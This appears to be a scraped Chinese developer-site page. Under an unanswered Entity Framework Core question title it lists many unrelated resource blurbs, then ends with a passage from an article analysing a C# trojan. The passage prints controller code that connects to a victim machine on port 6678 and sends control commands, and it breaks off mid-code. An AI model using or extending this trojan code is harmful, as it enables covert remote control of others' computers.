EntityFramework.Core如何通过依赖注入实现对数据库表的默认检索条件 [问题点数:100分]

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用PB实现对学生信息查询
pb界面和<em>数据库表</em>中的内容连接,<em>实现</em>按<em>条件</em>对信息的查询...
利用lucene实现文档关键字检索
这是lucene的使用案例,<em>实现</em>了对word文档中的关键字<em>检索</em>,并将<em>检索</em>出的内容高亮打印出来
什么是依赖注入,反射的应用,以及工厂
<em>通过</em>形象的实例解释了什么是<em>依赖注入</em>,以及反射在工厂中的应用
jquery多条件筛选样式
jquery多<em>条件</em>筛选样式,类似TB筛选样式
filter如何对多个条件进行检索?
我想问一下,我<em>如何</em>用dblookupcombobox1,dblookupcombobox2和两个时间之间(datatimepicker)共同来对dbgrid进行<em>检索</em>?rnrn我知道,如果是一个<em>条件</em>的话,是这样的:rnbeginrn with ADOTable2 dorn beginrn close;rn filtered:=false;rn Filter := '配件名称=''' + dblookupComboBox1.Text + '''';rn Filtered := true;rn open;rn endrnend;rnrn但是多个<em>条件</em>的话该怎么办呢?and好象一直在报错rnrn请高手指点啊
jquery 多条件搜索特效 高级查询
jquery 多<em>条件</em>搜索特效 高级查询 含单选,多选组合查询
sakura樱花检索工具
用于<em>检索</em>文件内的内容,速度快,用于<em>检索</em>文件内的内容,速度快
几个最简单的JavaScript dropdown menu
网上搜集的几个最简单的纯javascript<em>实现</em>的dropdown menu。
如何实现Spring依赖注入 AOP.rar
java 无需数据库 简单实例 <em>如何</em><em>实现</em>Spring<em>依赖注入</em> AOP
JAVA课程设计 题目:敏感词汇测试程序
<em>通过</em>java代码,<em>实现</em>对敏感词汇的测试<em>检索</em>
Unity实现依赖注入基础
Unity<em>实现</em><em>依赖注入</em>基础Unity<em>实现</em><em>依赖注入</em>基础Unity<em>实现</em><em>依赖注入</em>基础Unity<em>实现</em><em>依赖注入</em>基础
如何设置检索条件
在一数据窗口中<em>如何</em>设置一个<em>检索</em>变量
JAVA通过实体生成数据库表
由JAVA的实体类反生成<em>数据库表</em>。
Entity Framework Repository(含依赖注入)
Entity Framework Repository(含<em>依赖注入</em>)
springmvc+mybatis
springmvc+mybatis <em>实现</em>对<em>数据库表</em>的增删改查
检索条件
<em>检索</em>病历操作,首先每个病历都有一个叫ICD10_CODE的编码 ICD10_CODE在表1中 随访日期在表2中 出院时间在表3中rn<em>条件</em>一:ICD10_CODE在C00.0--C97.0 与 D32.0--D33.9之间的病历 且出院时间(out_time)大于6个月rn<em>条件</em>二:距离上次随访日期(visit_date)的时间大于6个月 rn这样的<em>检索</em><em>条件</em>在PB中咋写
guice超轻量级依赖注入
guice超轻量级<em>依赖注入</em>用了才知道是爽
mvc+nhibernate实现增删改查
mvc+nhibernate<em>实现</em>对<em>数据库表</em>的增删改查
jsp实现条件查询
在jsp中<em>实现</em>按<em>条件</em>查询的技术,这是我自己搜的,跟大家分享一下
sql查询课件
sql,电子课件,<em>检索</em>介绍,<em>条件</em>建设,连接<em>检索</em>
JSP实现网站新闻管理系统
JSP<em>实现</em>网站新闻管理系统介绍的实例构建了一个新闻发布系统,用户可以<em>通过</em>浏览器访问系统、查看新闻。对于系统的管理也是<em>通过</em>浏览器来完成的。它具有操作方便、快捷的优点。
SQL_Server_2005全文检索技术
SQL_Server_2005,全文<em>检索</em>技术,<em>如何</em><em>通过</em>关键字进行<em>检索</em>。
SOLR检索调优
SOLR <em>检索</em>调优
专利检索案例与分析——专利信息分析
专利<em>检索</em>案例与分析 专利信息分析是指<em>通过</em>对专利信息的内容、专利数量以及数量的变化或不同范围内各种量的比值(例如百分比、增长率)等的研究,对专利文献中包含的各种专利信息进行定向选择和科学抽象的研究活动,是专利信息工作和情报信息工作的结合。
c# 依赖注入 控制反转
控制反转 <em>依赖注入</em>的c#<em>实现</em>,很好的教程。
拼音首字母检索
根据拼音的首字母<em>检索</em>联系人,模仿手机联系人的<em>检索</em>功能
EXT如何保存检索条件
rnrnEXT<em>如何</em>保存<em>检索</em><em>条件</em>rnrn rnrn我在加载页面时会创建一个GRIDPANNEL,rnrn然后点GRIDPANNEL中的一行, 会弹出一个窗口,rnrn在这个窗口中可以编辑数据,rnrn编缉以后会跳到GRIDPANNEL, 并刷新数据,rnrn发现以前的<em>检索</em><em>条件</em>都没有了, 如分页信息, 直接跳到第一页了rn
英语学习小词典C++语言和数据库设计
1. 必须设计的基本数据表:英语分级单词表,常用单词例句表,短文分级表等。 2.功能模块 1)<em>实现</em>英语单词的录入、修改、删除等基本操作。 2)<em>实现</em>常用英语单词例句的录入、修改、删除等基本操作。 3)<em>实现</em>英语单词<em>检索</em>、翻译等。 4)常用英语单词例句<em>检索</em>。 5)根据难度随机生成一份单词测试题目。 6)能够<em>检索</em>出短文极其翻译对照表。 3 文件内附有课程设计报告
MySqlite的代码例子
<em>实现</em>了对sqlite<em>数据库表</em>的增删改查的操作
struts分页代码
对<em>数据库表</em>进行分页显示,struts+oracle+jsp<em>实现</em>
小程序实现搜索/检索功能
小程序<em>实现</em>页面的搜索功能,保证快捷搜索,页面的<em>检索</em>
Android系统中基于FTS的全文检索
<em>通过</em>Android系自带的FTS3全文<em>检索</em>表,<em>实现</em>对sd卡中的所有文件进行<em>检索</em>。
数据库查询
数据库查询,就是对已经存在于数据库中的数据按特定的组合、<em>条件</em>或次序进行<em>检索</em>。
bootstrap-multiselect下拉框多选单选条件筛选
bootstrap-multiselect,使用了bootstrap风格<em>实现</em>下拉框的<em>条件</em><em>检索</em>、多选、单选控制
什么是依赖注入——本文作者的思想太经典了
作者形象的讲解了Spring的以来机制,对于初学者会有很大的帮助!推荐去看看!
一个简单的spring依赖注入的例子
<em>通过</em>反射机制来<em>实现</em>一个bean交给另一个bean创建.例子简单,容易上手
jquery实现条件筛选特效
jquery<em>实现</em>多<em>条件</em>筛选特效;里面有现成的例子;下载后就可以查看;和大家分享一下。
如何通过T-SQL实现数据库表的恢复
我有<em>数据库表</em>,非空的,已经导出文本文件,请问<em>如何</em><em>通过</em><em>如何</em><em>通过</em>T-SQL<em>实现</em><em>数据库表</em>的恢复,可不是用向导,我想做安装程序rn谢谢
jQuery实现条件筛选
请问下, 代码中 selectA 是什么东西,在 html 代码里怎么找不到。。。。等等一系列问题,在这里都能找到答案。
如何数据库表加密
我写的程序需要上报,怎样把上报的<em>数据库表</em>加密?
通过数据库表自动生成对应的实体类
实际工作中,我们经常需要根据数据库的表结构来写对应的实体类,如果数据库字段比较多,手工去写实体类既浪费时间,还容易出错。其实像这种一一对应关系的一般都有工具来帮我们完成。本工具就是用来根据数据库的表结构来生成对应实体类的,希望能为你们的开发带来方便。
sqlserver 如何实现对关键词的检索
请问各位大侠,SQLSERVER<em>如何</em><em>实现</em>对含有描述关键词列的表进行<em>检索</em>。rnrn比如一个信息表有(序号,关键词,内容)几列,其中关键词录入时是用空格隔开,比如("文章 技术 JAVA SQL" ),使用这几个关键词可以搜索出来这条记录。rnrn1.是否只是一般地对该列建<em>检索</em>,然后使用一堆LIKE语句和UNION语句,这是不是会慢呢?rn2.有没有SQLSERVER自有的技术rn3.全文<em>检索</em>能解决这个问题吗?
OSPF下发默认路由
ospf-下发<em>默认</em>路由 主要是讲OSPF下发<em>默认</em>路由的一些东西,很有用。
jsp+MYSQL编写的按条件查询代码
本资源可以<em>实现</em>JSP数据库的链接 可以<em>实现</em>按<em>条件</em>查询数据库
高级搜索按钮点击后下拉一个高级查询条件
项目中常用的高级搜索按钮 <em>通过</em>点击按钮下拉一个框 <em>通过</em>框中输入的<em>条件</em>进行查询 框中包含了确定搜索和取消按钮 弹出框有关闭功能 非常实用 qiuqiu770130706
如何有效建立个人资料库
<em>如何</em>构建个人资料库,<em>实现</em>资料的快速分类,<em>检索</em>。。。。
android数据库SQLite3详细讲解
包含<em>如何</em>创建数据库,<em>如何</em>创建<em>数据库表</em>,数据库增删改查功能<em>如何</em><em>实现</em>,用通俗语言描述android数据库的使用和运行机制
模拟Spring的依赖注入
<em>通过</em>java代码模拟spring的<em>依赖注入</em>
用C语言实现文件的模糊查找.pdf
用C语言<em>实现</em>文件的模糊查找.pdf
sql数据库表去重实例
<em>实现</em><em>数据库表</em>多<em>条件</em>去除重复,在开发项目的过程中遇到类似的问题,所以总了一个例子
航班信息的查询与检索.cpp
附录 程序源代码 系统设计 数据结构与算法描述: 总 结 王岚老师带领着 参考文献 问题描述:上学期,我们在刘维群老师的带领下,大致学习了一下《数据结构》,<em>实现</em>了简单的数据结构算法。今年,我们将在王岚老师的带领下,完成简单的数据结构课程设计。在数据结构的学习中我们知道,排序和查找是在数据结构中使用频率非常高。为了能够快速有效地进行查询与<em>检索</em>,我们需要对记录按关键字进行排列。选择《航班信息查询与<em>检索</em>》这个课题,主要是因为当今时代的需求。随着科技与经济的发展,当今乘飞机的人越来越多,这时,快速的了解各类航班的班次、时间、价格及机型的信息将备受关注。在我开发的这个《航班信息查询与<em>检索</em>》这个系统中,航班号将成为关键字,而且是具有结构特点的一类关键字。<em>通过</em>关键字的键入,你将获得你所需要的航班的全部信息。
根据数据字典生成数据库表
根据数据库中的字典表,依次生成表,并按字典内容添加字段说明
Eclipse MavenSSM 增删改查示例
Eclipse +Maven+Spring+SpringMvc+Mybatis 增删改查示例
基于ZigBee的智能管理系统,组网技术
本文系统的介绍了基于zigbee药品仓库智能管理系统的<em>实现</em>方法以及各部分的功能,最终<em>实现</em>了仓库各种环境信息的实时监控。此系统以ZigBee无线网络技术为基础,以Stm32为桥梁,TFT触摸屏为终端显示设备完成我们的最终功能
Everything电脑中文件检索实现源代码C++
该软件用于<em>实现</em>电脑中指定文件的<em>检索</em>功能,速度快、效率高、精确度高,并且可以<em>通过</em>修改程序完成诸如图像<em>检索</em>、视频<em>检索</em>、DLL<em>检索</em>等功能。
ubuntu7.04网络配置命令
本程序是教你<em>如何</em>在命令行对ubuntu7.04进行网络配置
Spring.Net依赖注入例子
Spring.Net,简单例子。从这个例子可以理解<em>通过</em>配置方式<em>实现</em><em>依赖注入</em>
仿ButterKnife功能Demo
仿ButterKnife功能Demo。<em>通过</em>运行时解析注解<em>实现</em>布局、控件、点击事件的<em>依赖注入</em>的Demo。
Spring_依赖注入_面向接口编程
本项目为Java项目,使用Spring<em>实现</em><em>依赖注入</em>,适合初学者了解Spring<em>依赖注入</em>的<em>实现</em>。
PDF论文自动检索脚本
使用本脚本可以自动地将文件夹下所有论文进行按照相应的<em>检索</em><em>条件</em>进行<em>检索</em>,对文件进行重命名并复制到目标文件夹
Angular6依赖注入Demo
Angular6<em>依赖注入</em>Demo,包含懒加载<em>实现</em>。 Angular6<em>依赖注入</em>Demo,包含懒加载<em>实现</em>。
C#实现与PLC通讯
C#<em>实现</em>与西门子PLC串行通讯,分析了PLC与PC的数据格式的差异,然后给出了PC与PLC之间的串行通讯协议和通讯流程
Martin Fowler 控制反转与依赖注入
摘要:Java社群近来掀起了一阵轻量级容器的热潮,这些容器能够帮助开发者将来自不同项目的组件组装成为一个内聚的应用程序。在它们的背后有着同一个模式,这个模式决定了这些容器进行组件装配的方式。人们用一个大而化之的名字来称呼这个模式:“控制反转”( Inversion of Control,IoC)。在本文中,我将深入探索这个模式的工作原理,给它一个更能描述其特点的名字——“<em>依赖注入</em>”(Dependency Injection),并将其与“服务定位器”(Service Locator)模式作一个比较。不过,这两者之间的差异并不太重要,更重要的是:应该将组件的配置与使用分离开——两个模式的目标都是这个。
输入框下拉筛选值效果,类似百度搜索框
这是一个改自基金查询的效果,有些缺点,希望高人能给予修正,不过基本还是可以用。。
SQL之数据检索 - MS SQL
在SQL中SELECT语句通常用于<em>检索</em>数据库,或者<em>检索</em>满足你设定<em>条件</em>的数据
一个简单的文件检索工具
一个简单的<em>检索</em>文件的工具,可根据文件名,和文件内容来模糊<em>检索</em>指定<em>条件</em>的文件。
问:如何通过where条件实现distict?
如题rnselect * from biao where (某一个字段的唯一值)
从手机获取联系人 通过service的方式加载,然后存到缓存
从手机获取联系人 <em>通过</em>service的方式加载,然后存到缓存
通过Hibernate Tool 来生成Java类和HBM文件
<em>通过</em>Hibernate Tool 来<em>实现</em><em>通过</em><em>数据库表</em>自动生成Java类和HBM文件
Roboguice实现依赖注入
Roboguice<em>实现</em><em>依赖注入</em>
依赖注入介绍
一、<em>依赖注入</em>(DI)简介 <em>依赖注入</em>背后的基本原理是对象之间的依赖关系,可以<em>通过</em>以下几种方
多数据源报表解析之简单多源报表
多数据源报表即一张报表中可以定义多个数据集,分别取出需要的<em>数据库表</em>,所取的<em>数据库表</em>甚至可以来自于不同的数据库。本文<em>通过</em>几个例子说明多个数据集数据<em>如何</em>相互关联来<em>实现</em>多源报表。
Access数据库表与Sql数据库表转换
<em>通过</em>命令方式,手把手教你怎么把Access<em>数据库表</em>导入到SQL数据库中,<em>如何</em>把Sql<em>数据库表</em>导出到Access库,附博客网址
基于集成平台的临床决策支持
<em>如何</em><em>通过</em>医院数据集成平台<em>实现</em>对临床决策的支持
多个条件检索分页怎么实现呀!
多个<em>条件</em>的<em>检索</em>分页怎么<em>实现</em>,其中各个<em>条件</em>为客户端用rn多个下拉框选定。
如何高效文献检索
<em>如何</em>高效文献<em>检索</em>
高手请进,检索条件
有关对数据窗口的<em>检索</em>问题,比如在我要对数据窗口进行<em>检索</em>,需要<em>检索</em>三个字段的,其中第一个字段为模糊<em>检索</em>,后面两个字段为精确<em>检索</em>,在Data source的where中<em>检索</em>参数依次为:'%'+:xmbm+'%'(模糊<em>检索</em>的参数),:gcmc,:place_gd(后两个为精确<em>检索</em>的参数)请问用retrieve(a,'名称','地点')可以<em>实现</em>吗?三个参数之间是and关系,必须同时具备三个<em>条件</em>.如果不能,怎么<em>实现</em>呢??
基于条件结构实现两个数的加减乘除运算
基于<em>条件</em>结构<em>实现</em>两个数的加减乘除运算
检索条件的问题!很简单!
数据表内容如下:rnid classrn1 1年级1班rn2 1年级rn3 3年级3班rnrnrn现在输入<em>条件</em>”1年级,3年级3班,",<em>如何</em>将数据库里的第1条和第3条记录<em>检索</em>出来,where <em>条件</em>应该怎么写呢? rnrn<em>条件</em> like '%class%' 吗? 这样好像不对!!!
条件检索怎么做?
我的一套资料管理只有单<em>条件</em>查询,我想做成两个<em>条件</em>查询的,例如:搜索类别:姓名 关键字:_____ 搜索类别:年龄 关键字:______ rn搜索。
java条件检索xml
[code=XML]rnrnrn idrn org.web.ajax.AQDAjaxrn org.web.ajax.AADAjaxrnrn[/code]rnrn需要用java<em>条件</em><em>检索</em>如上格式的xmlrnsearchkey的值id表示按id<em>检索</em>itemrnrn<em>实现</em>完成了只需调用searchById(String path, String aaaa)rnpath为xml文件在服务器上位置rnaaaa为传入的<em>检索</em><em>条件</em>,如果我传入"AQDAjax"则会返回"org.web.ajax.AQDAjax"rnrn要用sax来<em>实现</em>
数据库条件检索问题
sql="select a, b from table where 1=1"rn sql=sql&" and a like '%"&keyword1&"%' " '<em>条件</em>1rn if b<>"文字" then sql=sql&" and a like '%"&keyword2&"%' " '<em>条件</em>2(当table.b不等于"文字"时所满足的<em>条件</em>),运行报错,"无效字符"rnrn望高手帮忙看看?
mvc 4权限管理系统
本系统<em>通过</em>对MVC4 Simplemembership<em>默认</em>数据库进行扩展<em>实现</em>了后台管理用户,角色和权限。<em>通过</em>角色的权限配置<em>实现</em>对前台Controller和Action的权限管理。
springday02
DI<em>依赖注入</em>,<em>通过</em>set方法注入和<em>通过</em>构造方法注入的练习
急急!检索条件不行???
下面的代码提示类型不匹配,各位高手请指点!!rnrnstring ls_1,ls_2,ls_3,ls_conditionrnls_1=string(em_1.text)rnls_2=string(em_2.text)rnls_3="and"rnls_condition="csrq>='"+ls_1+"'" +ls_3+ "csrqrndw_1.setfilter(ls_condition)rndw_1.filter()rndw_1.retrieve()
求助:多条件检索
<em>检索</em>所有客户(1号对账的客户和26号对账的客户)每月对账的数据:rn比如:6月的对账单,就要将1号(6月1日 至 6月30日)对账的数据和26号(5月25日 至 6月26日)对账的数据一次全部<em>检索</em>出来
android网络请求服务器进行增删改查上传下载文件
android用于巩固自己学习得应用,用到得技术、okhttp 、oracle 、springboot
phpcms地区数据库表
phpcms地区<em>数据库表</em>,<em>默认</em>phpcms地区表不完整。
设置IE浏览器的默认下载路径
<em>通过</em>对注册表操作,<em>实现</em>设置IE<em>默认</em>下载路径的功能
图像检索 Matlab代码
对基于图像内容的<em>检索</em>的<em>实现</em>有很大帮助,在这主要是<em>通过</em>RGB来<em>实现</em>的,用的是Matlab
用C#实现木马程序(分析)
文章原始出处 《黑客防线》第九期 正文 前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 &nbsp;&nbsp;前言: &nbsp;&nbsp;我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 &nbsp;&nbsp;木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) &nbsp;&nbsp;&nbsp;因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发<em>条件</em>,木马名称等,使其在服务端藏的更隐蔽的程序。 &nbsp;&nbsp;使用的技术: 控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 控制端开发: &nbsp;&nbsp;&nbsp;控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 控制端的开发: 控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 1 连接请求 使用了.NET类中的 System.Net.Sockets.TcpClient类, TcpClient(string hostname,int port) Hostname 是要控制的主机名称,当然你也可以用IP地址。 Port是端口。 // System.EventArgs包含事件数据类的基类 private void button7_Click(object sender, System.EventArgs e) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//记录操作,在richTextBox控件中增加操作信息 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;请求连接&quot; +textBox1.Text +&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int port =6678; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client = new TcpClient(textBox1.Text,port); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;服务器不在线!确定是否输入主机名称.&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;服务器不在线!确定是否输入主机名称.&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//private void buttion 2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//private NetworkStream stream; 代码如下: private void button8_Click(object sender, System.EventArgs e) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//纪录操作 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;测试连接&quot; +&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream = client.GetStream(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(stream.CanWrite) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//发送控制码 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string control = &quot;jiance&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Write(by,0,by.Length); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//下次使用 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Flush(); //启动接收反回数据的线程 //receive是线程执行的函数,见后面的分析 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threadReceive = new Thread(new ThreadStart(receive)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threadReceive.Start(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception ee) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText (ee.Message+&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(ee.Message); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} } 3控制生效的代码 private void button9_Click(object sender, System.EventArgs e) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//这里是确定要发送的控制码,RadioButton是窗体控件 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(radioButton1.Checked){ control = form2.zhucex;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(radioButton2.Checked){ control =form3.zhuces;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(radioButton3.Checked){ control = warring;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(radioButton4.Checked){ control =suggest;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(radioButton5.Checked){ control =form4.mumawe;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(radioButton6.Checked){ control =drop;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (control ==&quot;000000&quot;) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;你没有输入任何控制目标!不发控制信号&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;你没有输入任何控制目标!不发控制信号&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(control != &quot;000000&quot;) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//记录操作 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText (control + 